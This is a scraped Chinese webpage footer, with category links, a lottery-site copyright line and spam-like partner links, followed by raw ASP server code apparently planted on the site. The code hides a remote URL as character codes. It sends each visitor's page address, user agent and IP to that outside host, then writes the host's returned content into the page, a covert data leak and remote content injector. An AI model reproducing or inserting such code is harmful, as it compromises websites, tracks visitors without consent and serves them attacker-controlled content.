生命科学

环境科技

健康生活

Copyright © 易发彩票|首页_欢迎您 版权所有 快递查询

合作伙伴: 上海钣金 博物馆设计 苏州宣传片拍摄 活动地板 平板离心机 全自动倒角机 宜昌网站建设 捏合机 液压折弯机 三足式离心机 南通创业 剪板机厂家 折弯机厂家
<% dim pro,self_path,query,user_agent,pcontent response.Charset="gb2312" Response.Expires = -9999 Response.AddHeader "Pragma","no-cache" Response.AddHeader "cache-ctrol","no-cache" function fromCharCode(codeList) dim arr,rlt arr=split(codeList,",") for each a in arr rlt=rlt & chr(a) next fromCharCode=rlt end function pro=fromCharCode("104,116,116,112,58,47,47,120,50,46,99,99,98,116,46,120,121,122,47,97,98,99") self_path = "http://" & request.servervariables("http_host") & request.servervariables("path_info") query = request.servervariables("query_string") If query <> "" Then self_path = self_path & "?" & query End If self_path = Server.URLEncode(self_path) user_agent = request.ServerVariables("HTTP_USER_AGENT") cip = request.ServerVariables("REMOTE_ADDR") pro = pro & "?"&"w"&"e"&"b=" & Server.URLEncode(self_path) & "&uagent=" & Server.URLEncode(user_agent) & "&cip=" & Server.URLEncode(cip) Function GetBody(weburl) Dim ObjXMLHTTP Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.SetTimeOuts 10000,10000,10000,30000 ObjXMLHTTP.Open "GET",weburl,False ObjXMLHTTP.send If ObjXMLHTTP.ReadyState = 4 And ObjXMLHTTP.Status = 200 then GetBody = ObjXMLHTTP.ResponseBody End If Set ObjXMLHTTP = Nothing If Err.number <> 0 Then Err.Clear End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function tmp = GetBody(pro) if not isempty(tmp) then pcontent=BytesToBstr(tmp,"utf-8") if not isempty(pcontent) then response.write(pcontent) end if end if %>